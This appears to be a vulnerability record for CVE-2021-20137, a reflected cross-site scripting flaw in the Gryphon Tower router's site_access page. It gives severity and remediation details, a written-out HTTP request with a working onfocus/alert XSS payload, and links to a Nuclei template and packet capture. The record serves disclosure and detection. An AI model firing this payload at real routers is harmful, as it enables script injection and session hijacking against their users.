| Title | Gryphon Tower - Cross-Site Scripting |
|---|---|
| Author | edoardottt |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade to the latest version to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.11461 |
| CVE ID | CVE-2021-20137 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss tenable gryphon gryphonconnect vuln |
Gryphon Tower router web interface contains a reflected cross-site scripting vulnerability in the url parameter of the /cgi-bin/luci/site_access/ page. An attacker can exploit this issue by tricking a user into following a specially crafted link, granting the attacker JavaScript execution in the victim’s browser.
GET /cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20137.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20137.pcap
N/AN/A